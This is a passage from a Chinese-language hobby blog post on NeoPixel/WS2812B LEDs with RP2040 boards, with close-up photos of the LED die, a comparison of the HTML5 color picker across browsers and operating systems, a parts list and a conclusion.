以 8x8 NeoPixel燈板為例子,控制 第4列第2欄 的 NeoPixel 是 第26格,即是陣列第25項目</div>
<br/>
<a name="補充資料"></a><h4 class="mra-h4">補充資料</h4>
<a name="NeoPixel的結構"></a><h5 class="mra-h5">NeoPixel的結構</h5>
<div>NeoPixel 已經很細少,但能夠方便地控制 RGB LED 的 WS2812B 更細小</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWSPrfHctTMEmU6LCAkS8XPbDwcM6wcOPjBeF_wS3677WnZE2uPyXsHVrcAHH-E7d3u3pwH5RhpNM-PUX_mqiDYw_N7pnwDLa0MgFdgc2uDIj9dJhcsbiXtPrK5_ULneBS4qz0o3XJ8Y2P2ABA95fBrwf034wln4a6mRVtVW0Ms-TUaz8k4BeO4D4i/w0/rp2040-neopixel-063.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWSPrfHctTMEmU6LCAkS8XPbDwcM6wcOPjBeF_wS3677WnZE2uPyXsHVrcAHH-E7d3u3pwH5RhpNM-PUX_mqiDYw_N7pnwDLa0MgFdgc2uDIj9dJhcsbiXtPrK5_ULneBS4qz0o3XJ8Y2P2ABA95fBrwf034wln4a6mRVtVW0Ms-TUaz8k4BeO4D4i/w600/rp2040-neopixel-063.jpg"/></a></div>
<div>NeoPixel 近距離的外觀</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiiqAnUHpdek_D-BuK1iqRiyV4ZZrxwm0pPziEbBto383vX9dUa7tqLkkkIOaQFbVX8kKf6KvAudsfLHU6_-VQIhECjLLpoPACJJwPzf5JI1L26yuMmIV6HmAgWPT5UkZo9Q1r6ieiCpfWs5sfXBJSf3U36yq2Q7UFafq0KxSOImusxvZKfgMJBT3Q/w0/rp2040-neopixel-064.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiiqAnUHpdek_D-BuK1iqRiyV4ZZrxwm0pPziEbBto383vX9dUa7tqLkkkIOaQFbVX8kKf6KvAudsfLHU6_-VQIhECjLLpoPACJJwPzf5JI1L26yuMmIV6HmAgWPT5UkZo9Q1r6ieiCpfWs5sfXBJSf3U36yq2Q7UFafq0KxSOImusxvZKfgMJBT3Q/w600/rp2040-neopixel-064.jpg"/></a></div>
<div>中央是 WS2812B晶片,大約只有 0.3毫米</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXL6qeEkb6GVvzltr5u0FO0reQrV2TwnM-Nqhjk7ZwXSbxmwbkUbd_7C-4pi5XMTv537-ElsNyhgkpOu_1wExaev418cH5TxrFKk3QRDgbJTAumzbLMP5ea5p8vrkMNA74PbCP7vuTlw6yliVY3Y24ctMrhFdowZ85MAtw979zuy40A4QSrZ09znAM/w0/rp2040-neopixel-065.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXL6qeEkb6GVvzltr5u0FO0reQrV2TwnM-Nqhjk7ZwXSbxmwbkUbd_7C-4pi5XMTv537-ElsNyhgkpOu_1wExaev418cH5TxrFKk3QRDgbJTAumzbLMP5ea5p8vrkMNA74PbCP7vuTlw6yliVY3Y24ctMrhFdowZ85MAtw979zuy40A4QSrZ09znAM/w600/rp2040-neopixel-065.jpg"/></a></div>
<div>左下方是 綠色LED ,大約只有 0.1毫米</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ_TeBnv6eWabQb-t_TsIn-ya_fJBsCRe5nGLVDa5pXABU6HJ_EDJFjlGRBTDmCE0R1yPyGhyAWQfwZvfFhfR9NjGEL7NCCbOLZtR3OTIQ2VI-vUBTwTDM1d-S6I4fAgESI7v0ftnVoXhitq5v4uXanMirVzFVYWQYJ552XLEcnIuQ7pZ1HSk84YW7/w0/rp2040-neopixel-066.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ_TeBnv6eWabQb-t_TsIn-ya_fJBsCRe5nGLVDa5pXABU6HJ_EDJFjlGRBTDmCE0R1yPyGhyAWQfwZvfFhfR9NjGEL7NCCbOLZtR3OTIQ2VI-vUBTwTDM1d-S6I4fAgESI7v0ftnVoXhitq5v4uXanMirVzFVYWQYJ552XLEcnIuQ7pZ1HSk84YW7/w600/rp2040-neopixel-066.jpg"/></a></div>
<div>中下方是 紅色LED ,大約只有 0.1毫米</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtUdqEocMa21EUNlyyo1Trumgp0WAcDH66VyelgSOtEM7M5Kh_eAQkwkTNtvxoZiSVqSDq6CinboYLTgVMavqDlYqFkoUjbk11E6N0DcutNcg1BBd9iW6gpFYCo1VCz_hh78nKJRaQ2Nr1Rfo0Nx4G1lpdFxUzmZt11Kr_MrI4vY3FncoO1s9SgCph/w0/rp2040-neopixel-067.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtUdqEocMa21EUNlyyo1Trumgp0WAcDH66VyelgSOtEM7M5Kh_eAQkwkTNtvxoZiSVqSDq6CinboYLTgVMavqDlYqFkoUjbk11E6N0DcutNcg1BBd9iW6gpFYCo1VCz_hh78nKJRaQ2Nr1Rfo0Nx4G1lpdFxUzmZt11Kr_MrI4vY3FncoO1s9SgCph/w600/rp2040-neopixel-067.jpg"/></a></div>
<div>右下方是 藍色LED ,大約只有 0.1毫米</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheQ_gAHGNQ4HbiM5ICkAUyr5IdlSkIm1KFOoQO4gVgg2wgb8UXBgqNq-uzz0G6ue7kNZpwdTSLCYj2i3Swd7sXIr-uCoTweST-or9UVwQ2QrjwM8C5AucraTFxrlbtOdWgqpmkzJ2BIKtx3beuSPjlBO-PgZdK9kFchEqno__z4WxoRmUAAxvJi1n8/w0/rp2040-neopixel-068.gif"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheQ_gAHGNQ4HbiM5ICkAUyr5IdlSkIm1KFOoQO4gVgg2wgb8UXBgqNq-uzz0G6ue7kNZpwdTSLCYj2i3Swd7sXIr-uCoTweST-or9UVwQ2QrjwM8C5AucraTFxrlbtOdWgqpmkzJ2BIKtx3beuSPjlBO-PgZdK9kFchEqno__z4WxoRmUAAxvJi1n8/w600/rp2040-neopixel-068.gif"/></a></div>
<div>近距離觀察三色閃動的 NeoPixel<br/>
雖然 三色種LED 都是獨立發放不同顏色的光<br/>
當不同顏色的光在近距離亮著時,光線便會混合成另一種顏色的光,便可以混合出不同顏色</div>
<br/>
<a name="顏色挑選器"></a><h5 class="mra-h5">顏色挑選器</h5>
<div>模擬訊號中,在下使用了 HTML5 的 input color 來啟動 顏色挑選器 (Color Picker)<br/>
發現不同作業系統不同網頁瀏覽器有很大差異<br/>
雖然與 WS2812B 完全沒有關係,但在下仍然作簡單測試</div>
<br/>
<a name="LinuxFirefox"></a><h5 class="mra-h5">在 Linux 上的 Firefox</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGKtrRJP4qmlNMXIKe1Xo_daIIRYnUd0TOhfjDvYnHbORVfx91qdvQFe1tTf6F-gMe3ev5TLpb9C3PBbYMWIGk8wolU3pXSV4on-X9OW3bfFaSWWz7Njs_WJ61iVf-VmXP8GgxV7MMxS0QwGogKTTJ11jxZ4GoldXsd9z7burnW8eCqtx1dKz_hCU8/w0/rp2040-neopixel-024-linux-firefox.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGKtrRJP4qmlNMXIKe1Xo_daIIRYnUd0TOhfjDvYnHbORVfx91qdvQFe1tTf6F-gMe3ev5TLpb9C3PBbYMWIGk8wolU3pXSV4on-X9OW3bfFaSWWz7Njs_WJ61iVf-VmXP8GgxV7MMxS0QwGogKTTJ11jxZ4GoldXsd9z7burnW8eCqtx1dKz_hCU8/w600/rp2040-neopixel-024-linux-firefox.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioXpvu7o99t0qpL_NgW2AGprVF75nqXzKII-RpbZgAl15pN_02cmyp7zvByyNQPN8rAsldqbYU18RiEzsaP8WPcRwdBOiXi47sTvPvdBIN5GIHTggTReyRJ3f-T1RX0IMGIOaEB9G2xqty_2Baq1bWETnYbOlLyg0-CsugIiAeIe2e0_F29Miak-wk/w0/rp2040-neopixel-025-linux-firefox.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioXpvu7o99t0qpL_NgW2AGprVF75nqXzKII-RpbZgAl15pN_02cmyp7zvByyNQPN8rAsldqbYU18RiEzsaP8WPcRwdBOiXi47sTvPvdBIN5GIHTggTReyRJ3f-T1RX0IMGIOaEB9G2xqty_2Baq1bWETnYbOlLyg0-CsugIiAeIe2e0_F29Miak-wk/w600/rp2040-neopixel-025-linux-firefox.png"/></a></div>
<div>Linux 上的 Firefox<br/>
操作上不算是最高,但提供基本的預設色板<br/>
當預設色板不足時,可以使用自訂開啟 HSV色板 選擇顏色<br/>
無法與其他元素即時互動</div>
<br/>
<a name="Chrome"></a><h5 class="mra-h5">Chrome</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXuQ17Zg75jH3AyIiFO3sPHneFhjnOTMguAujNben5ssqO80MTKozmeOIJjCURJRcM6CxXlLoge3d4pKq4rj4UQIncV1YeEQgg8x0doIw89IZl3yrJxGz282P_X4Bi4Rb70WIxgDTinBd1Cf_iMe4_dCMX917mdxIBZXpzZuyo_HvYNNCkWS1RXghv/w0/rp2040-neopixel-026-chrome.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXuQ17Zg75jH3AyIiFO3sPHneFhjnOTMguAujNben5ssqO80MTKozmeOIJjCURJRcM6CxXlLoge3d4pKq4rj4UQIncV1YeEQgg8x0doIw89IZl3yrJxGz282P_X4Bi4Rb70WIxgDTinBd1Cf_iMe4_dCMX917mdxIBZXpzZuyo_HvYNNCkWS1RXghv/w600/rp2040-neopixel-026-chrome.png"/></a></div>
<div>所有桌面作業系統的 Chrome 都是相效果<br/>
直接開啟 HSV色板<br/>
能夠與其他元素即時互動</div>
<br/>
<a name="LinuxKonqueror"></a><h5 class="mra-h5">在 Linux 上的 Konqueror</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcVerTGOq-o8yh_LFOdjei4zxSCs4OpdhDYxWak1OlNfMAlytdQDFDj4O6GGwnYeiD5pOwK9eQ8QimpfLQHEDHwenJFK1HFu5-E5r9lvuNBfjh71pVMzP4IglvEYTWyKmD-oJcDK7IKRrf4dhqE6RJe8Vn9v-bJA8vTKFuM72kK0OPNT2GiSfx3CGu/w0/rp2040-neopixel-027-linux-konqueror.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcVerTGOq-o8yh_LFOdjei4zxSCs4OpdhDYxWak1OlNfMAlytdQDFDj4O6GGwnYeiD5pOwK9eQ8QimpfLQHEDHwenJFK1HFu5-E5r9lvuNBfjh71pVMzP4IglvEYTWyKmD-oJcDK7IKRrf4dhqE6RJe8Vn9v-bJA8vTKFuM72kK0OPNT2GiSfx3CGu/w600/rp2040-neopixel-027-linux-konqueror.png"/></a></div>
<div>Linux 上的 Konqueror<br/>
提供預設色板、擷取熒幕顏色、自訂色板、HSV色板、HSV數值輸入、RGB數值輸入、HEX數值輸入<br/>
能夠與其他元素即時互動</div>
<br/>
<a name="WindowsFirefox"></a><h5 class="mra-h5">在 Windows 上的 Firefox</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgh0ej9gPrcvnBHTwmJLu4k6wQ_uzjVl25L42AKtW85gldmoYVJXk3VUOlNxIILywLCTcSSyqDEK1RIgjlHWknAcNT1HUpCY0WyXSHAPNfuoLH69fJgMsiM8DVz_RZ1YJiCxAmKTjyJqnaTmM1_Xm7F4PwAIIKEOjjHTwAXS-wKy-WWbL9tuHA_7Jc2/w0/rp2040-neopixel-028-window-firefox.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgh0ej9gPrcvnBHTwmJLu4k6wQ_uzjVl25L42AKtW85gldmoYVJXk3VUOlNxIILywLCTcSSyqDEK1RIgjlHWknAcNT1HUpCY0WyXSHAPNfuoLH69fJgMsiM8DVz_RZ1YJiCxAmKTjyJqnaTmM1_Xm7F4PwAIIKEOjjHTwAXS-wKy-WWbL9tuHA_7Jc2/w600/rp2040-neopixel-028-window-firefox.png"/></a></div>
<div>Windows 上的 Firefox ,效果與 Linux 上的 Firefox 完全不同<br/>
偏向與 Linux 上的 Konqueror 相似,只是沒有擷取熒幕顏色<br/>
能夠與其他元素即時互動</div>
<br/>
<a name="MacSafari"></a><h5 class="mra-h5">在 Mac 上的 Safari</h5>
<div>Mac 上的 Safari 提供大量色板功能,總共有5頁</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0wphRmWPC4oBE3TVgqmNnQ8-RM06gopf279Up5OK0ukGB5IaTk1uK1jsjrk3AKc2e4Y4VFLcXp6s_jpcmzzaY8XexXlr7L6jUrNry3xQAhMZjb-c53fmyFAQQWPoogt49BUAsKiHphak86UZto8O-ydnFzDUva7OxD9bjHOGhy88keQq4-FheCp0P/w0/rp2040-neopixel-029-mac-firefox-safari.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0wphRmWPC4oBE3TVgqmNnQ8-RM06gopf279Up5OK0ukGB5IaTk1uK1jsjrk3AKc2e4Y4VFLcXp6s_jpcmzzaY8XexXlr7L6jUrNry3xQAhMZjb-c53fmyFAQQWPoogt49BUAsKiHphak86UZto8O-ydnFzDUva7OxD9bjHOGhy88keQq4-FheCp0P/w600/rp2040-neopixel-029-mac-firefox-safari.png"/></a></div>
<div>圓形色板<br/>
能夠與其他元素即時互動</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXjIEHi7ln8DMSvSojzqNw_FV4py82ChfNTVtMvkQdPOOg_rJlpeJvE192M6E5UAUckD6HNTNF2XI_Y6fOI2DJ4tE7XozTu3qZyGkBqH_b0JL-7qAFf7-StZUNkf9VI9iADQRyDd0QL7pwZEi9tqKWvIsw-eF3lalG-ueO0D9s6UjudhXNhKIoe-Wy/w0/rp2040-neopixel-030-mac-firefox-safari.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXjIEHi7ln8DMSvSojzqNw_FV4py82ChfNTVtMvkQdPOOg_rJlpeJvE192M6E5UAUckD6HNTNF2XI_Y6fOI2DJ4tE7XozTu3qZyGkBqH_b0JL-7qAFf7-StZUNkf9VI9iADQRyDd0QL7pwZEi9tqKWvIsw-eF3lalG-ueO0D9s6UjudhXNhKIoe-Wy/w600/rp2040-neopixel-030-mac-firefox-safari.png"/></a></div>
<div>圓形色板<br/>
能夠與其他元素即時互動</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgagX9S7wZQQtzgTPsfnzThB_P3aAPrEfS3By7UnfzbpGXCZxBNzADLwB1MNA-0uiB54gG-xLeRuvCpBjg7LdrWfJtWvyybCNWEcsjY4bCufOaiUKMqEPkfiVAkNtspZANmweEUb7TeOQRTbXCTTBPqICysi1yfa2XeKqDeAQxRvGD044VYw9cOvFtq/w0/rp2040-neopixel-031-mac-firefox-safari.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgagX9S7wZQQtzgTPsfnzThB_P3aAPrEfS3By7UnfzbpGXCZxBNzADLwB1MNA-0uiB54gG-xLeRuvCpBjg7LdrWfJtWvyybCNWEcsjY4bCufOaiUKMqEPkfiVAkNtspZANmweEUb7TeOQRTbXCTTBPqICysi1yfa2XeKqDeAQxRvGD044VYw9cOvFtq/w600/rp2040-neopixel-031-mac-firefox-safari.png"/></a></div>
<div>RGB滑桿設定,還有多種色板模式<br/>
能夠與其他元素即時互動</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsuS8Di2HHTfX9UEgie-F42EiSwztZdinEelIBuP9ReQSVqZFO-LvcQ4ARzsiABdHWUCushCluH8wiF8BFamDuUycyYt98-k_3rCgSMMF_keEeakWYI96_N5Z_0vpB9q6dfYdw_KBq4bofY-qj6hgHZJueCUYm9ez4yMF4xownhvKrZQmk17VSwCzL/w0/rp2040-neopixel-032-mac-firefox-safari.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsuS8Di2HHTfX9UEgie-F42EiSwztZdinEelIBuP9ReQSVqZFO-LvcQ4ARzsiABdHWUCushCluH8wiF8BFamDuUycyYt98-k_3rCgSMMF_keEeakWYI96_N5Z_0vpB9q6dfYdw_KBq4bofY-qj6hgHZJueCUYm9ez4yMF4xownhvKrZQmk17VSwCzL/w600/rp2040-neopixel-032-mac-firefox-safari.png"/></a></div>
<div>預設色板,除了由Apple提供的預設色板,還有其他預設色板<br/>
能夠與其他元素即時互動</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrrEvqT9QVHSDnyANizFl5RJljE8ooK8Ph9cpUU0KzOww0bP0YX3YMOqc7rz-L0-_k00R_G0M12IHxHsLIgb9bZS_OTVfWVG4r9bWE7SjTV4t7CEjH_aNJWszoro-5hTuZ_wPoJR-W5HZ9cO4hLNdy62_UsJ7x_J750XzeXdfV_FQSzBPPjHdVkTnI/w0/rp2040-neopixel-033-mac-firefox-safari.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrrEvqT9QVHSDnyANizFl5RJljE8ooK8Ph9cpUU0KzOww0bP0YX3YMOqc7rz-L0-_k00R_G0M12IHxHsLIgb9bZS_OTVfWVG4r9bWE7SjTV4t7CEjH_aNJWszoro-5hTuZ_wPoJR-W5HZ9cO4hLNdy62_UsJ7x_J750XzeXdfV_FQSzBPPjHdVkTnI/w600/rp2040-neopixel-033-mac-firefox-safari.png"/></a></div>
<div>光譜色板,還有多種色板模式<br/>
能夠與其他元素即時互動</div>
<br/>
<a name="MacFirefox"></a><h5 class="mra-h5">在 Mac 上的 Firefox</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE7H1rmcG3Q5YeRF0jsoK398NTFS8LhmQkoT3z2fJUoYapyeYQE54EuxV-yfShMXtxiTqlaZ7VoUIwCZNmM430FghveYbV158oM_K5GyoLx2Fgx4ozPIbV4VTt14zj9MbrH0dX3cLyLpeGvogmLix6YBY-Ioa_3vjqE6c0xyk--mziafW7SCQsXV-J/w0/rp2040-neopixel-034-mac-safari.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE7H1rmcG3Q5YeRF0jsoK398NTFS8LhmQkoT3z2fJUoYapyeYQE54EuxV-yfShMXtxiTqlaZ7VoUIwCZNmM430FghveYbV158oM_K5GyoLx2Fgx4ozPIbV4VTt14zj9MbrH0dX3cLyLpeGvogmLix6YBY-Ioa_3vjqE6c0xyk--mziafW7SCQsXV-J/w600/rp2040-neopixel-034-mac-safari.png"/></a></div>
<div>Mac 上的 Firefox 提供預設色板<br/>
按下 顯示顏色 後,會開啟 Mac 上的 Safari 的色板功能<br/>
能夠與其他元素即時互動</div>
<br/>
<a name="AndroidFirefox"></a><h5 class="mra-h5">在 Android 上的 Firefox</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8RNp1koDm2Nqa0lmb4kNOssqrPS_1URIfucEEGE-BL-x2OxjTfIpOz3eSJg8mQGmenjgbOEoZvRbjTtmfy1dx6noXjIkdYVWBhEfIcPjbfI-yMcawN03CRDlYrMGMNL2XyPLOv1dfsuUdSDsIkU8CayTzRI39HPpHB0ixqta9w1FMKMfYu82_DqO6/w0/rp2040-neopixel-035-android-firefox.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8RNp1koDm2Nqa0lmb4kNOssqrPS_1URIfucEEGE-BL-x2OxjTfIpOz3eSJg8mQGmenjgbOEoZvRbjTtmfy1dx6noXjIkdYVWBhEfIcPjbfI-yMcawN03CRDlYrMGMNL2XyPLOv1dfsuUdSDsIkU8CayTzRI39HPpHB0ixqta9w1FMKMfYu82_DqO6/w600/rp2040-neopixel-035-android-firefox.png"/></a></div>
<div>Android 上的 Firefox 只有預設色板<br/>
無法與其他元素即時互動</div>
<br/>
<a name="AndroidChrome"></a><h5 class="mra-h5">在 Android 上的 Chrome</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxfLBC_co9OL-k7MrcsmFR3vKgvYurMgUFEwIgM1p4hLti_35Cn92oYl_vevDtd03E2Ep_SsXm8_rIxGELG8WsJGlNkcp76sJe4kQAlUHq7x9SF5JnOGRVL0Xore6ZHuPTm-VisYrUwnaKOVHrjmxAXdyZc9vOfWggMlg_njZmIESuNATGG4h1jh5z/w0/rp2040-neopixel-036-android-chrome.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxfLBC_co9OL-k7MrcsmFR3vKgvYurMgUFEwIgM1p4hLti_35Cn92oYl_vevDtd03E2Ep_SsXm8_rIxGELG8WsJGlNkcp76sJe4kQAlUHq7x9SF5JnOGRVL0Xore6ZHuPTm-VisYrUwnaKOVHrjmxAXdyZc9vOfWggMlg_njZmIESuNATGG4h1jh5z/w600/rp2040-neopixel-036-android-chrome.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwLpmWg1WMFjH91MYLvb4gQQ05wgBox83L0ywgCVsaarqhtQdAiTsjtM9Y6Mfgax1F2CbE5F5uxdZVi65KHrw9dheEtEhLP2FI0v_sE4-6ILOy-n6XDiDskIlYf57KQ-gwi_LjQPjn8VoyVAvfOr1MUfu7a8Cqz8zevMzaH3TBL9A5m_qtsl4Yline/w0/rp2040-neopixel-037-android-chrome.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwLpmWg1WMFjH91MYLvb4gQQ05wgBox83L0ywgCVsaarqhtQdAiTsjtM9Y6Mfgax1F2CbE5F5uxdZVi65KHrw9dheEtEhLP2FI0v_sE4-6ILOy-n6XDiDskIlYf57KQ-gwi_LjQPjn8VoyVAvfOr1MUfu7a8Cqz8zevMzaH3TBL9A5m_qtsl4Yline/w600/rp2040-neopixel-037-android-chrome.png"/></a></div>
<div>Android 上的 Chrome 的色板與 Linux 上的 Firefox 相似<br/>
先顯示預設色板,不足夠時會開啟 HSV滑桿設定顏色<br/>
無法與其他元素即時互動</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_8aq2ZOAYiy_VVKvscnWW9YXqj7H7n1OFOSDLmVGGCnGxyeEJknleV_v7ZtbCu_k1X8lsG_8C0b8MQgNDEXCBzeEmVqQ9RgFn5MYPfNvVpYdVGU-2MVu0_RPU1-0j-w-Y2paWQI-kBuNPtjrom0gEbL7sitmadUp0_EB7HNmr4-gTmcb4nGzK8GZv/w0/rp2040-neopixel-053-samsung-browser.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_8aq2ZOAYiy_VVKvscnWW9YXqj7H7n1OFOSDLmVGGCnGxyeEJknleV_v7ZtbCu_k1X8lsG_8C0b8MQgNDEXCBzeEmVqQ9RgFn5MYPfNvVpYdVGU-2MVu0_RPU1-0j-w-Y2paWQI-kBuNPtjrom0gEbL7sitmadUp0_EB7HNmr4-gTmcb4nGzK8GZv/w606/rp2040-neopixel-053-samsung-browser.png"/></a></div>
<div>Samsung 瀏覽器雖然能夠執行 預設色板 及 HSV色板,但選取顏色後無法設定</div>
<br/>
<a name="iOS"></a><h5 class="mra-h5">iOS</h5>
<div>iOS 上所有網頁瀏覽器都使用相同效果</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiO1A-1SS2hvH0GbwbhzrsYbCoBdt2fyFgpw7v7QDyN7_PiNEeizrALPC8uE0nOKiU6irEkYl1NhJGxHcUehVxnhw3K6bOoxpN1kW4tkSrDJazdgNxh0Sar0ozSMFQsRPx27LSFDbLXzf-_V4iqrItzQzU0R4yFC1Gw3sFJcFl3lHn9rr7ViuEKNNTD/w0/rp2040-neopixel-038-ios.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiO1A-1SS2hvH0GbwbhzrsYbCoBdt2fyFgpw7v7QDyN7_PiNEeizrALPC8uE0nOKiU6irEkYl1NhJGxHcUehVxnhw3K6bOoxpN1kW4tkSrDJazdgNxh0Sar0ozSMFQsRPx27LSFDbLXzf-_V4iqrItzQzU0R4yFC1Gw3sFJcFl3lHn9rr7ViuEKNNTD/w600/rp2040-neopixel-038-ios.png"/></a></div>
<div>與 Mac 的 Safari 相同的預設色板<br/>
能夠與其他元素即時互動</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXLpoo0p5UoWY8klT9vZu3f43EJKmep-RPFGx8dwctmeQAQQ4bRkgfE6niTO2nwktgnbc4stifTbU9lyZehyo0rpu6KsvE1rC0jKKbiGxyXZgwj06g_53sXOmDhlwa7MdjxJaCns032ZmThIUftwX-kcRZBBr6EhXzqjgaerL1Tk8GPhN3aviapRPh/w0/rp2040-neopixel-039-ios.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXLpoo0p5UoWY8klT9vZu3f43EJKmep-RPFGx8dwctmeQAQQ4bRkgfE6niTO2nwktgnbc4stifTbU9lyZehyo0rpu6KsvE1rC0jKKbiGxyXZgwj06g_53sXOmDhlwa7MdjxJaCns032ZmThIUftwX-kcRZBBr6EhXzqjgaerL1Tk8GPhN3aviapRPh/w600/rp2040-neopixel-039-ios.png"/></a></div>
<div>與 Mac 的 Safari 相同的光譜色板<br/>
能夠與其他元素即時互動</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQTpVVN3bOYMm7K7OLRX6n33bYmH9M7G-3ddoQiEGlaiA3YSBklGA2GU9qBkOvhvBdmsn5GfM1ixy22x8eWTUaRSLogfygkDyIMra5Odmx7IDXPwO9AVkIs6tOEmK399bsJw3P2Vxg5EIvrsFPHt3lQBc7ecjqc9mgpVrkHy_LZhpbWiCVQF9GGgeM/w0/rp2040-neopixel-040-ios.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQTpVVN3bOYMm7K7OLRX6n33bYmH9M7G-3ddoQiEGlaiA3YSBklGA2GU9qBkOvhvBdmsn5GfM1ixy22x8eWTUaRSLogfygkDyIMra5Odmx7IDXPwO9AVkIs6tOEmK399bsJw3P2Vxg5EIvrsFPHt3lQBc7ecjqc9mgpVrkHy_LZhpbWiCVQF9GGgeM/w600/rp2040-neopixel-040-ios.png"/></a></div>
<div>與 Mac 的 Safari 相同的RGB滑桿色板<br/>
能夠與其他元素即時互動</div>
<br/>
<a name="零件清單"></a><h4 class="mra-h4">零件清單</h4>
<table class="mra-table mra-collapse" width="60%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="50%"/>
<col width="50%"/>
</colgroup>
<thead>
<tr>
<th>名稱</th>
<th>數量</th>
</tr>
</thead>
<tbody>
<tr>
<td>RP2040-Zero</td>
<td>1</td>
</tr>
<tr>
<td>RP2040-One</td>
<td>1</td>
</tr>
<tr>
<td>麵包板</td>
<td>1</td>
</tr>
<tr>
<td>USB Type-C 資料線</td>
<td>1</td>
</tr>
<tr>
<td>NeoPixel燈條</td>
<td>1</td>
</tr>
<tr>
<td>NeoPixel燈環</td>
<td>1</td>
</tr>
<tr>
<td>NeoPixel燈板</td>
<td>1</td>
</tr>
<tr>
<td>跳線</td>
<td>大約10條</td>
</tr>
</tbody>
</table>
<br/>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<div>NeoPixel 操作上雖然需要一點程序,但因為 Arduino, MicroPython, CircuitPython 都提供簡單使用的函式庫<br/>
所以使用上已經非常簡單,希望所有開發板都預裝 NeoPixel 方便測試<br/>
甚至是預裝 有源蜂鳴器 或 無源蜂鳴器 ,滿足視覺效果及聽覺效果的開發</div>
<br/>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://cdn-shop.adafruit.com/datasheets/WS2812B.pdf">WS2812B 資料表</a></li>
</ul>
